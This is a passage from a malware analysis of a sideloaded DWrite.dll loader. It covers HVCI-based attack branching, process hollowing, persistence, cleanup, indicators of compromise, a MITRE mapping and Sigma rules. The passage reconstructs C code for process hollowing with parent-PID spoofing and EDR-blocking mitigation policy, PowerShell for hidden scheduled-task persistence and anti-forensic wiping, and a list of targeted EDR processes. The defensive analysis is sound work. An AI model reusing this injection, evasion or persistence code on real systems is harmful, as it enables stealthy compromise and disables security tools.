Function: mw_store_dll_path_in_registry (0x180003190)
The malware stores its DLL path as a custom environment variable for dynamic retrieval:
Registry Key: HKEY_CURRENT_USER\Environment
Value Name: DPATH
Value Data: C:\Users\<user>\Desktop\SumatraPDF\DWrite.dll (REG_SZ)
This enables the malware to:
- Dynamically retrieve its own location during execution without hardcoded paths
- Reduce hardcoded artifacts within the binary
- Facilitate DLL re-loading across persistence mechanisms
7.4 Fake Error Dialog
Function: mw_show_fake_error_dialog (0x1800040F0)
Displays a fake Windows error dialog to the user:
"The application was unable to start correctly (0xc0000142).
Click OK to close the application."
This makes the user believe the PDF application simply crashed, reducing suspicion while the malware operates in the background.
8. HVCI-Aware Attack Branching
One of the most notable findings is the malware’s HVCI awareness. HVCI (Hypervisor-enforced Code Integrity) prevents unsigned kernel drivers from loading — which directly impacts the BYOVD technique.
Figure 10: x64dbg disassembly of
mw_check_hvci_enabled(0x18000BB10). Bypass patch at top. The full HVCI registry path is visible in string references:SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrityat0x1800665A0–0x1800665E0, with “Enabled” value name at0x1800665F0.

Figure 10a: IDA Pro pseudocode of
mw_check_hvci_enabled(0x18000BB10), showing the registry key path construction andRegQueryValueExAcall to check the HVCI “Enabled” value.

Function: mw_check_hvci_enabled (0x18000BB10)
// Check if HVCI is enabled
HKEY hKey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\"
"Scenarios\\HypervisorEnforcedCodeIntegrity",
0, KEY_READ, &hKey);
DWORD enabled = 0;
DWORD size = sizeof(DWORD);
RegQueryValueExA(hKey, "Enabled", NULL, NULL, &enabled, &size);
Two Attack Paths

Note: These paths are only reached in the admin branch (when
mw_check_admin_elevation_and_hosts()returns non-zero). Non-admin execution takes a simpler path viasettings.aspx→mw_process_hollow_with_random_sleep(Variant 2, no PPID spoofing) → exit. Confirmed via dynamic analysis: the non-admin path uses Variant 2 (0x180006C80), not Variant 1 (0x1800065F0). See Section 9.2 and Section 18.2.
Path A (HVCI OFF): The full attack chain. First calls mw_download_and_hollow_via_endpoint1 and mw_download_and_hollow_via_endpoint2 (endpoint names are in the encrypted string table — likely the BlackSanta EDR-killer). Then downloads three additional PE payloads from main.aspx, company.aspx, and contacts.aspx — each injected via process hollowing. Downloads a .zip archive from blog.aspx containing the BYOVD drivers, extracts and stages them. Downloads Module6 from about.aspx. Finally installs persistence via scheduled tasks with the "install" command and runs cleanup.
Path B (HVCI ON): Sends a mod4memint beacon (Module 4 memory inject — the string "mod4memint" is at 0x180068F98). Downloads Module6 from about.aspx. Installs persistence via PowerShell scheduled tasks. Requests a backup C2 address via getbackup for resilience. This path avoids kernel driver loading entirely since HVCI prevents unsigned drivers from loading.
9. Process Hollowing with PPID Spoofing
The malware implements two variants of process hollowing, both sophisticated:
9.1 Variant 1: Winlogon Child with PPID Spoofing
Figure 11: x64dbg disassembly of
mw_process_hollow_into_winlogon_child(0x1800065F0). ShowsGetModuleHandleAresolvingntdll.dll(string at0x180066070) for dynamic API resolution ofNtResumeThreadand other NTAPI calls used to bypass user-mode hooks.

Figure 11a: IDA Pro pseudocode of
mw_process_hollow_into_winlogon_child(0x1800065F0), showingSeDebugPrivilegeelevation, winlogon PID enumeration,STARTUPINFOEXAsetup with PPID spoofing and mitigation policy attributes.

Function: mw_process_hollow_into_winlogon_child (0x1800065F0)
This variant uses an STARTUPINFOEXA structure (cb = 112) with lpAttributeList for two thread attributes: parent PID spoofing and child mitigation policy.
// Step 1: Enable SeDebugPrivilege
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, ...);
// Step 2: Find winlogon.exe PID
DWORD pids[1024];
K32EnumProcesses(pids, sizeof(pids), &needed);
for (int i = 0; i < needed/4; i++) {
HANDLE hp = OpenProcess(MAXIMUM_ALLOWED, FALSE, pids[i]);
K32GetModuleFileNameExA(hp, NULL, name, MAX_PATH);
if (strstr(name, "winlogon.exe")) {
winlogon_handle = hp;
break;
}
}
// Step 3: Create suspended process with STARTUPINFOEXA
STARTUPINFOEXA si = {0};
si.StartupInfo.cb = sizeof(STARTUPINFOEXA); // 112 bytes
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
// Attribute 1: Spoof parent to winlogon.exe
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 0x20000
&winlogon_handle, sizeof(HANDLE), ...);
// Attribute 2: Block non-Microsoft DLL injection (prevents EDR hooks)
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, // 0x20007
&policy, sizeof(policy), ...);
CreateProcessA(NULL, cmdline, ...,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, // 0x80004
..., &si.StartupInfo, &pi);
// Step 4: Classic PE hollowing
GetThreadContext(pi.hThread, &ctx);
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &imageBase, 8, NULL);
VirtualFreeEx(pi.hProcess, imageBase, 0, MEM_RELEASE);
VirtualAllocEx(pi.hProcess, preferredBase, imageSize,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// Write PE headers
WriteProcessMemory(pi.hProcess, preferredBase, payload, sizeOfHeaders, NULL);
// Write sections with proper protection flags
for (int i = 0; i < numSections; i++) {
WriteProcessMemory(pi.hProcess,
preferredBase + section[i].VirtualAddress,
payload + section[i].PointerToRawData,
section[i].SizeOfRawData, NULL);
if (section[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
VirtualProtectEx(pi.hProcess, ..., PAGE_EXECUTE_READ, &old);
}
// Patch PEB ImageBaseAddress
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &preferredBase, 8, NULL);
// Set entry point and resume
ctx.Rcx = preferredBase + pe->AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// Resume via NTAPI (avoids user-mode hooks on ResumeThread)
NtResumeThread(pi.hThread, NULL);
Key evasion features:
- PPID spoofing: The hollowed process appears as a legitimate child of
winlogon.exein process trees - Mitigation policy:
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON(0x1000000000) prevents EDR agents from injecting monitoring DLLs into the hollowed process - NTAPI resume: Uses
NtResumeThreadinstead ofResumeThreadto bypass user-mode API hooks STARTUPINFOEXAstruct withlpAttributeList— proper extended startup info usage with 2 attributes
9.2 Variant 2: Dynamic Resolution with Behavioral Evasion
Figure 12: x64dbg disassembly of
mw_process_hollow_with_random_sleep(0x180006C80). Shows the dynamic API resolution pattern —GetModuleHandleAforntdll.dllat0x180066070, followed byGetProcAddresscalls to resolveNtTerminateProcess,CreateProcessA,VirtualAllocEx, etc. at runtime. This variant is used on the non-admin code path (confirmed via dynamic analysis).

Figure 12a: IDA Pro pseudocode of
mw_process_hollow_with_random_sleep(0x180006C80), showing dynamic API resolution viaGetProcAddressand Mersenne Twister-based random sleep delays between hollowing steps.

Function: mw_process_hollow_with_random_sleep (0x180006C80)
Confirmed via dynamic analysis (x64dbg, 2026-03-13): This is the variant used on the non-admin path. When
mw_check_admin_elevation_and_hosts()returns 0, the orchestrator downloads the PE payload fromsettings.aspxand passes it to this function — NOT tomw_process_hollow_into_winlogon_child(Variant 1). Variant 1 is only used by the admin-path download endpoints (download.aspx/download1.aspx).
Arguments (confirmed at breakpoint):
RCX→msvc_string*containing the PE payload (459,776 bytes with valid MZ header —blacksanta_edr_killer.bin)RDX→msvc_string*containing the command line:" 157.250.202.215"(C2 IP passed to the hollowed process)
This variant differs from Variant 1:
- No PPID spoofing — uses standard
CreateProcessAwithCREATE_SUSPENDEDflag (noSTARTUPINFOEXA, nolpAttributeList) - No winlogon child — creates a suspended copy of the current module’s path (via
GetModuleFileNameA) - All WinAPI resolved dynamically via
GetModuleHandleA/GetProcAddressstrings —NtTerminateProcess,NtClose,CreateProcessA,VirtualAlloc,VirtualFree,VirtualAllocEx,VirtualFreeEx,WriteProcessMemory,ReadProcessMemory,VirtualProtectEx,GetThreadContext,SetThreadContext,ResumeThread - Random sleep delays between each PE hollowing step using Mersenne Twister PRNG — defeats behavioral sandboxes that look for rapid sequences of suspicious API calls
- NtResumeThread via ntdll — same NTAPI evasion as Variant 1
The non-admin path’s use of Variant 2 makes sense: without admin privileges, the malware cannot open a handle to winlogon.exe (required for PPID spoofing in Variant 1), so it falls back to this simpler but still evasive hollowing approach
10. Stage2 Payload Delivery and EDR-Killer Indicators
Note: This section documents what the DWrite.dll loader reveals about the stage2 payload through its decrypted strings, C2 endpoints, and delivery mechanisms. Detailed analysis of the BlackSanta EDR-killer binary and BYOVD drivers will be covered in Part 2.
10.1 Payload Delivery Mechanisms
The loader downloads and injects the stage2 payload via process hollowing. Two delivery paths exist depending on privilege level:
| Path | Endpoint | Hollowing Variant | Confirmed |
|---|---|---|---|
| Non-admin | GET /settings.aspx |
Variant 2 (mw_process_hollow_with_random_sleep) |
Yes — dynamically validated |
| Admin (HVCI OFF) | download.aspx, download1.aspx (encrypted endpoint names) |
Variant 1 (mw_process_hollow_into_winlogon_child) |
Static analysis only |
On the admin path, the loader additionally downloads:
- Three PE payloads from
main.aspx,company.aspx,contacts.aspx— each injected via separate process hollowing calls - A
.ziparchive fromblog.aspx— extracted to disk (contains BYOVD drivers based on staging paths in decrypted strings) - Module6 from
about.aspx— saved to disk
10.2 Driver and Device Path References (from Decrypted Strings)
The DWrite.dll encrypted string table contains references to kernel driver device paths and staging locations, indicating the stage2 payload interacts with vulnerable drivers:
\\.\EchoDrv // Kernel device path
\\.\TrueSight // Kernel device path
\\.\IOBitUnlockerDevice // Kernel device path
C:\Windows\System32\Drivers\wedgetec.sys // Driver staging path
C:\Windows\System32\Drivers\devdiagm.sys // Driver staging path
SYSTEM\CurrentControlSet\Devices // Driver registry path
These strings are decrypted at runtime by the loader and likely passed to the stage2 payload. The device names correspond to known vulnerable drivers used in BYOVD attacks.
10.3 EDR/AV Process Name References (from Decrypted Strings)
The loader’s encrypted string table also contains security product process names. Within DWrite.dll, these are used by mw_check_analysis_tool_running (0x180015FD0) and mw_enumerate_processes_match_edr_targets (0x18000BF60) for anti-analysis checks. The same names are likely shared with the stage2 EDR-killer for process termination:
splunk srtsp servicehost.exe mcshield.exe
mcupdatemgr.exe acshm.exe modulecoreservice.exe
pefservice.exe mcawfwk.exe mfemms.exe mfevtps.exe
mccspservicehost.exe launch.exe delegate.exe
mcdreg.exe mcpvtray.exe mcinstructtrack.exe
mcuicnt.exe protectedmodulehost.exe
mmsshost.exe mfeavsvc.exe symantec symorpu
symefasi sysinternal sysmon temnium
tda.exe tdawork tpython mcapexe.exe
vectra
10.4 Loader’s View of the Full Attack Chain
Based on the loader’s C2 endpoints, decrypted strings, and code paths, the intended attack sequence is:

11. Persistence Mechanisms
The malware employs multiple persistence and staging mechanisms:
11.1 Scheduled Task Persistence
Function: mw_install_persistence_scheduled_task (0x18001E930)
The malware creates scheduled tasks that masquerade as Windows Memory Diagnostics:
# Main persistence task - runs as ADMINISTRATORS group with highest privileges
$trigger = New-ScheduledTaskTrigger -AtLogOn
$trigger.RepetitionInterval = New-TimeSpan -Minutes 2
$trigger.MultipleInstances = "Parallel"
$principal = New-ScheduledTaskPrincipal -GroupID "S-1-5-32-544" -RunLevel Highest
$action = New-ScheduledTaskAction -Execute 'C:\path\wrm_<name>.exe' -Argument '<args>'
$settings = -Priority 0 -Hidden -RestartCount 3 `
-RestartInterval (New-TimeSpan -Minutes 1) `
-AllowStartIfOnBatteries -StartWhenAvailable
Register-ScheduledTask "Microsoft\Windows\MemoryDiagnostic\DefaultWindowsMemory" `
-Trigger $trigger -Principal $principal -Action $action -Settings $settings
Task Names
| Task Path | Interval | Purpose |
|---|---|---|
...\MemoryDiagnostic\DefaultWindowsMemory |
Every 2 min | Main persistence — re-executes payload |
...\MemoryDiagnostic\EveryDayMemoryDiagnosticUpdate |
T+60s | Self-delete original dropper |
...\MemoryDiagnostic\EveryDayMemoryDiagnostic |
T+90s | Unregisters EveryDayMemoryDiagnostic cleanup |
...\MemoryDiagnostic\RunEveryDayMemoryCheck |
T+600s | Unregister cleanup tasks |
...\MemoryDiagnostic\RunEveryDayMemoryCheckUpdate |
— | Additional cleanup task |
...\MemoryDiagnostic\RunEveryDayMemoryDiagnostics |
T+900s | Module6 secure wipe + self-unregister |
11.2 Registry Run Key (Execution Tracking)
Function: mw_set_run_key_persistence (0x180005C60)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MyAppStatus = 1 (REG_DWORD)
This is an execution-state marker, not autorun persistence. The REG_DWORD value type is not executed by the Windows logon autostart mechanism (only REG_SZ paths are runnable). The marker prevents redundant re-infection on the same system. The function dynamically resolves advapi32.dll APIs (RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey) at runtime to avoid IAT-based detection. Wide-character registry path and value name are stored as DWORD arrays on the stack, decoded at runtime.
11.3 DPATH Environment Variable
Function: mw_store_dll_path_in_registry (0x180003190)
HKCU\Environment\DPATH = C:\Users\<user>\Desktop\SumatraPDF\DWrite.dll (REG_SZ)
Stores the DLL path for dynamic retrieval, reducing hardcoded artifacts.
11.4 Local Admin-Share Staging
The malware copies itself with a wrm_ prefix and uses PowerShell to stage via the local admin share:
copy-item 'C:\path\wrm_payload.exe' -Destination '\\localhost\C$\path' -Force
The destination is \\localhost\ — the local machine’s admin share. No remote host selection, propagation loops, or network spread logic was found in the analyzed code paths. This appears to be a local staging mechanism (possibly to bypass file-system monitoring or copy to a path requiring admin privileges), not lateral movement. The wrm_ prefix may indicate the author intended worm-like propagation in a different module or variant.
11.5 Persistence INI File
Function: mw_create_persistence_ini_file (0x180005950)
Creates a timestamp-based INI file in %AppData% to track installation state and timing.
12. Self-Cleanup Chain
The malware implements a sophisticated multi-stage cleanup mechanism to cover its tracks:
T+0s: Payload executes
T+60s: Delete original dropper file
T+90s: Unregister cleanup scheduled tasks
T+600s: Secure-delete Module6 (zero overwrite + delete)
T+900s: Unregister all remaining tasks + final self-cleanup
Module6 Secure Deletion:
# Zero-overwrite before deletion (forensic countermeasure)
$zeros = New-Object byte[] (Get-Item $module6).Length
[System.IO.File]::WriteAllBytes($module6, $zeros)
Remove-Item $module6 -Force
This overwrites the file content with zeros before deletion, preventing forensic recovery of the module contents. This is particularly significant because Module6 is the HVCI-path payload — the threat actor specifically wants this module to be unrecoverable.
Self-Delete via CMD:
Function: mw_self_delete_via_cmd (0x18001F7F0)
Uses cmd.exe with delayed deletion to remove the running binary after execution completes.
13. Function Reference Table
| Address | Name | Category | Description |
|---|---|---|---|
0x180021310 |
mw_DWriteCreateFactory_entry |
Entry | Hijacked export, hides window, dispatches |
0x18001FA00 |
mw_main_orchestrator |
Core | Main logic — C2 init, anti-analysis, deployment |
0x1800041E0 |
mw_build_encrypted_strings_table |
Core | Decrypts/builds 173+ runtime string table |
0x1800098D0 |
mw_c2_beacon_with_sysinfo |
C2 | Collects OS info, sends action=ping |
0x18000A500 |
mw_c2_http_request |
C2 | Builds HTTP request, parses <pre> response |
0x1800094E0 |
mw_c2_send_encrypted_report |
C2 | Sends encrypted status reports |
0x18000AC90 |
mw_c2_get_backup_config |
C2 | Retrieves backup C2 address |
0x1800078C0 |
mw_build_encrypted_c2_payload |
C2 | Constructs encrypted payloads |
0x1800082B0 |
mw_wininet_http_post |
C2 | WinInet HTTP POST with UA rotation |
0x1800034D0 |
mw_aes256_cbc_decrypt |
Crypto | AES-256-CBC via WinCrypt |
0x180002FE0 |
mw_hex_string_to_bytes |
Crypto | Hex string → byte array |
0x18001B340 |
mw_anti_sandbox_check_hostname_username |
Anti-Analysis | 71+ hostnames, 39+ usernames |
0x18001A1C0 |
mw_anti_analysis_check_russian_locale |
Anti-Analysis | CIS locale safeguard |
0x1800194A0 |
mw_anti_analysis_check_disk_artifacts |
Anti-Analysis | Analysis tool files on disk |
0x180016270 |
mw_anti_analysis_check_environment |
Anti-Analysis | Environment variables/properties |
0x180014060 |
mw_anti_analysis_check_vm_artifacts |
Anti-Analysis | VM artifact detection |
0x180011030 |
mw_anti_analysis_check_desktop_file_count |
Anti-Analysis | Desktop file count < 5 |
0x18000F310 |
mw_anti_debug_gate_with_edr_check |
Anti-Analysis | Debugger + EDR enumeration |
0x180015FD0 |
mw_check_analysis_tool_running |
Anti-Analysis | Running analysis tool detection |
0x180017790 |
mw_detect_vm_via_smbios_firmware |
Anti-VM | SMBIOS Type 1 parsing |
0x180012600 |
mw_detect_vm_via_display_adapter |
Anti-VM | Virtual GPU detection |
0x180011CE0 |
mw_check_physical_memory_gb |
Anti-VM | RAM size check |
0x180003C30 |
mw_check_file_attributes_vm |
Anti-VM | VM file artifact checks |
0x18000BEB0 |
mw_get_peb |
Anti-Debug | Direct PEB access |
0x18000BEE0 |
mw_check_debugger_via_ntquery_peb |
Anti-Debug | NtQueryInformationProcess |
0x18000BF60 |
mw_enumerate_processes_match_edr_targets |
EDR Kill | Process enum vs encrypted list |
0x180015CC0 |
mw_check_process_running_by_encrypted_name |
EDR Kill | Single process check |
0x180005C60 |
mw_set_run_key_persistence |
Execution Tracking | HKCU Run key (MyAppStatus = REG_DWORD 1, not autorun) |
0x18000BD30 |
mw_disable_defender_spynet_reporting |
Defense Evasion | Registry: SpyNet settings |
0x18000BB10 |
mw_check_hvci_enabled |
Defense Evasion | HVCI status for attack path |
0x1800065F0 |
mw_process_hollow_into_winlogon_child |
Injection | PE hollowing + PPID spoof |
0x180006C80 |
mw_process_hollow_with_random_sleep |
Injection | PE hollowing + behavioral evasion |
0x18000B630 |
mw_download_and_hollow_via_endpoint1 |
Payload | Download PE + process hollow (encrypted endpoint) |
0x18000B8A0 |
mw_download_and_hollow_via_endpoint2 |
Payload | Download PE + process hollow (encrypted endpoint) |
0x18000AB40 |
mw_download_and_save_payload |
Payload | Write payload to disk |
0x18001E930 |
mw_install_persistence_scheduled_task |
Persistence | PowerShell scheduled tasks |
0x18001C780 |
mw_create_suspended_powershell |
Persistence | Suspended PowerShell creation |
0x18001EE90 |
mw_create_process_for_powershell |
Persistence | CreateProcess for PS execution |
0x180003190 |
mw_store_dll_path_in_registry |
Persistence | HKCU DPATH environment variable |
0x180005950 |
mw_create_persistence_ini_file |
Persistence | Timestamp INI in %AppData% |
0x18001F4D0 |
mw_execute_powershell_cleanup |
Cleanup | Task unregistration |
0x18001F7F0 |
mw_self_delete_via_cmd |
Cleanup | cmd.exe self-deletion |
0x180006350 |
mw_check_admin_elevation_and_hosts |
Recon | Token elevation + hosts fingerprint |
0x18001B1B0 |
mw_build_os_fingerprint_string |
Recon | Registry-based OS fingerprint |
0x18001B240 |
mw_query_registry_os_version |
Recon | Registry queries for version |
0x180005ED0 |
mw_create_decoy_files_in_appdata |
Evasion | Creates report.txt, data.csv, backup.bin |
0x1800040F0 |
mw_show_fake_error_dialog |
Evasion | Fake “0xc0000142” error MessageBox |
0x180003860 |
mw_enum_windows_find_host_window |
Evasion | Find host process window handle |
0x180003E40 |
mw_write_log_file |
Logging | Debug/status log output |
0x180002B50 |
mw_msvc_string_init_empty |
Utility | Initialize empty msvc_string |
0x180002B70 |
mw_msvc_string_init_from_cstr |
Utility | Initialize msvc_string from C string |
0x1800039C0 |
mw_get_temp_path |
Utility | GetTempPathA with fallback |
0x1800057E0 |
mw_string_replace_all |
Utility | Search-and-replace all in string |
0x18002E3D0 |
mw_heap_free |
Utility | CRT heap free wrapper |
0x18002EEE8 |
mw_heap_alloc |
Utility | CRT heap alloc wrapper |
0x180053080 |
mw_memcpy |
Utility | CRT memcpy wrapper |
0x180053720 |
mw_memset |
Utility | CRT memset wrapper |
0x180024A40 |
mw_string_to_byte_buffer |
Utility | String → byte vector conversion |
0x1800307B8 |
mw_string_compare_icase |
Utility | Case-insensitive string compare |
IDA Struct Improvements
msvc_string (applied to 14+ function prototypes, 260+ locals across 4 functions)
The malware is compiled with MSVC and uses std::string extensively. The decompiler renders these as unreadable __m128i accesses without a proper struct:
struct msvc_string {
union {
char inline_buf[16]; // SSO: string data stored inline when len <= 15
char *heap_ptr; // heap-allocated buffer when len > 15
};
unsigned __int64 length; // current string length
unsigned __int64 capacity; // allocated capacity (<=15 means SSO active)
};
This transforms unreadable patterns like pe_payload[1].m128i_i64[1] <= 0xFuLL into clear pe_payload->capacity <= 0xF (SSO check).
PLAINTEXTKEYBLOB (applied to g_aes_key_blob at 0x180077BB8)
44-byte Windows crypto structure for AES key import (see Section 4.2).
_STARTUPINFOEXA (applied in mw_process_hollow_into_winlogon_child)
112-byte extended startup info with lpAttributeList for PPID spoofing and mitigation policy (see Section 9.1).
Additional Structs
| Struct | Applied To | Purpose |
|---|---|---|
PROCESS_BASIC_INFORMATION |
mw_check_debugger_via_ntquery_peb |
NtQueryInformationProcess anti-debug |
RAW_SMBIOS_DATA |
VM detection | GetSystemFirmwareTable return buffer |
SMBIOS_HEADER |
VM detection | SMBIOS entry header parsing |
SMBIOS_TYPE1_SYSTEM_INFO |
mw_detect_vm_via_smbios_firmware |
System manufacturer/product VM check |
14. Indicators of Compromise
File Hashes
| SHA256 | Type | Description |
|---|---|---|
d3d4b8bd76a26448426c89e6e401cff2cd9350c09aad52cc33d4ca3866bea918 |
DLL | DWrite.dll — BlackSanta loader (this analysis) |
Network-Based
| Indicator | Type | Description |
|---|---|---|
157.250.202.215 |
IP | Primary C2 server — constructed at runtime from inline QWORD 0x2E3035322E373531 (“157.250.”) + string “202.215” at 0x180068ED8 |
*/login.aspx |
URI | Initial beacon + AES key delivery — confirmed via dynamic analysis (decrypted at runtime) |
*/settings.aspx |
URI | Non-admin path: PE payload delivery — confirmed via dynamic analysis |
*/main.aspx |
URI | HVCI OFF: primary PE payload (plaintext in .rdata at 0x180068EF8) |
*/company.aspx |
URI | HVCI OFF: secondary PE payload (plaintext in .rdata at 0x180068F08) |
*/contacts.aspx |
URI | HVCI OFF: tertiary PE payload (plaintext in .rdata at 0x180068F18) |
*/blog.aspx |
URI | HVCI OFF: BYOVD driver archive .zip (plaintext in .rdata at 0x180068F30) |
*/about.aspx |
URI | Both paths: Module6 delivery (plaintext in .rdata at 0x180068F50) |
action=ping&mod= |
Query | Beacon protocol |
action=log&data= |
Query | Anti-analysis telemetry reporting |
action=getbackup |
Query | Backup C2 request |
dbseckey= |
Query | Encryption key exchange |
Bearer: in Accept-Language |
Header | Auth token (anomalous placement) |
Host-Based
| Indicator | Type | Description |
|---|---|---|
Microsoft\Windows\MemoryDiagnostic\DefaultWindowsMemory |
Scheduled Task | Main persistence |
Microsoft\Windows\MemoryDiagnostic\EveryDayMemoryDiagnostic* |
Scheduled Task | Cleanup tasks |
Microsoft\Windows\MemoryDiagnostic\RunEveryDayMemory* |
Scheduled Task | Cleanup tasks |
Microsoft\Windows\MemoryDiagnostic\RunEveryDayMemoryCheckUpdate |
Scheduled Task | Additional cleanup |
HKCU\...\Run\MyAppStatus |
Registry (REG_DWORD=1) | Execution-state marker (not autorun) |
HKCU\Environment\DPATH |
Registry (REG_SZ) | DLL path storage |
Software\Policies\Microsoft\Windows Defender\SpyNet\SpynetReporting |
Registry | Cloud protection disabled |
Software\Policies\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent |
Registry | Sample submission disabled |
Software\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications |
Registry | Alert suppression |
Process under winlogon.exe with blocked non-MS DLLs |
Behavior | PPID-spoofed hollowed process (admin path, Variant 1) |
wrm_*.exe |
Filename | Locally staged payload copies (via \\localhost\ admin share) |
DWrite2.dll |
Filename | Proxy to real DWrite.dll |
myapp_firstlaunch.tmp |
Filename | First-launch check file |
taskManagerHook.dll |
Filename | Task Manager hiding DLL |
C:\Windows\System32\Drivers\wedgetec.sys |
File path | Driver staging |
C:\Windows\System32\Drivers\devdiagm.sys |
File path | Driver staging |
Embedded Strings
| String | Address | Significance |
|---|---|---|
DDS-WS |
0x180067674 |
Campaign/variant identifier |
mod4memint |
0x180068F98 |
Module 4 memory inject marker (HVCI ON beacon) |
The application was unable to start correctly (0xc0000142) |
0x180065AC0 |
Fake error dialog |
Sumatra |
0x180065A60 |
DLL sideloading host identifier |
15. MITRE ATT&CK Mapping
| Technique ID | Technique Name | Evidence |
|---|---|---|
| T1059.001 | Command and Scripting Interpreter: PowerShell | Defender exclusions, scheduled task creation, cleanup scripts |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Malicious DWrite.dll sideloaded by Sumatra PDF |
| T1055.012 | Process Injection: Process Hollowing | Variant 1: mw_process_hollow_into_winlogon_child (0x1800065F0, admin path); Variant 2: mw_process_hollow_with_random_sleep (0x180006C80, non-admin path — confirmed via dynamic analysis) |
| T1134.004 | Access Token Manipulation: Parent PID Spoofing | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS → winlogon.exe |
| T1027 | Obfuscated Files or Information | AES-256-CBC encrypted strings with C2-delivered key |
| T1140 | Deobfuscate/Decode Files or Information | mw_aes256_cbc_decrypt (0x1800034D0) runtime decryption |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Disables Defender SpyNet, notification suppression, PowerShell exclusions |
| T1211 | Exploitation for Defense Evasion (BYOVD) | Loader downloads driver archive via blog.aspx; device paths in decrypted strings (\\.\EchoDrv, \\.\IOBitUnlockerDevice) — stage2 analysis in Part 2 |
| T1489 | Service Stop | EDR/AV process names in loader’s encrypted string table; loader enumerates running processes against this list (mw_enumerate_processes_match_edr_targets) |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | HKCU\...\Run\MyAppStatus (REG_DWORD marker — execution tracking, not autorun) |
| T1053.005 | Scheduled Task/Job: Scheduled Task | Persistence via MemoryDiagnostic tasks |
| T1546.013 | Event Triggered Execution: Environment Variables | DPATH environment variable for DLL path persistence |
| T1036.005 | Masquerading: Match Legitimate Name | Tasks named as Windows Memory Diagnostics |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | SMBIOS, display adapter, RAM, desktop file count |
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | Mersenne Twister random delays in PE hollowing |
| T1622 | Debugger Evasion | IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess |
| T1082 | System Information Discovery | OS fingerprint via registry + GetSystemFirmwareTable |
| T1033 | System Owner/User Discovery | USERNAME and COMPUTERNAME collection |
| T1057 | Process Discovery | CreateToolhelp32Snapshot + K32EnumProcesses |
| T1012 | Query Registry | OS version, HVCI status, Defender settings, driver blocklist |
| T1614.001 | System Location Discovery: System Language Discovery | Russian locale check → exit |
| T1106 | Native API | NtResumeThread, NtQueryInformationProcess, NtClose, NtTerminateProcess |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTPS C2 on port 443 with .aspx endpoints |
| T1132.001 | Data Encoding: Standard Encoding | Base64-encoded OS fingerprint in beacon |
| T1573 | Encrypted Channel | AES-256-CBC encrypted C2 communications |
| T1132 | Data Encoding | Hex-encoded AES ciphertext in HTTP params |
| T1070.004 | Indicator Removal: File Deletion | Self-delete via cmd.exe, zero-overwrite Module6 |
| T1480 | Execution Guardrails | CIS locale check, sandbox hostname/username blacklists |
| T1055 | Process Injection | Dynamic API resolution for hollowing (Variant 2) |
| T1014 | Rootkit | taskManagerHook.dll for process hiding |
| T1570 | Lateral Tool Transfer | wrm_ prefix + copy to \\localhost\ admin share (local staging only — no remote host logic confirmed) |
16. Detection Opportunities
16.1 Sigma Rules
Scheduled Task Masquerading:
title: BlackSanta Scheduled Task Persistence
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'MemoryDiagnostic\DefaultWindowsMemory'
- 'MemoryDiagnostic\EveryDayMemory'
- 'MemoryDiagnostic\RunEveryDayMemory'
- 'MemoryDiagnostic\RunEveryDayMemoryCheckUpdate'
condition: selection
level: critical
PPID Spoofing Detection:
title: Process Running Under Winlogon with Non-Microsoft DLL Block
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\winlogon.exe'
filter:
Image|endswith:
- '\userinit.exe'
- '\dwm.exe'
- '\fontdrvhost.exe'
- '\LogonUI.exe'
condition: selection and not filter
level: high
Defender Tampering:
title: Windows Defender SpyNet Disabled via Registry
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: 'Windows Defender\SpyNet'
Details|contains:
- 'DWORD (0x00000000)' # SpynetReporting = 0
- 'DWORD (0x00000002)' # SubmitSamplesConsent = 2
condition: selection
level: critical
DLL Sideloading:
title: DWrite.dll Loaded from Non-System Directory
logsource:
category: image_load
product: windows
detection:
selection:
ImageLoaded|endswith: '\DWrite.dll'
filter:
ImageLoaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
- 'C:\Windows\WinSxS\'
condition: selection and not filter
level: high
BYOVD Driver Loading:
title: Suspicious Vulnerable Driver Installation
logsource:
category: driver_load
product: windows
detection:
selection:
ImageLoaded|endswith:
- '\wedgetec.sys'
- '\devdiagm.sys'
condition: selection
level: critical
16.2 Network Detection
- HTTPS POST requests to
.aspxendpoints on port 443 withaction=ping&mod=oraction=log&data=in body Bearer:token embedded insideAccept-Languageheader (highly anomalous)dbseckey=parameter in HTTP POST body- Initial beacon response: plain text
KEY_HEX|IV_HEX(97 bytes,Content-Type: text/plain; charset=windows-1251) - Payload responses: base64-encoded PE binaries wrapped in
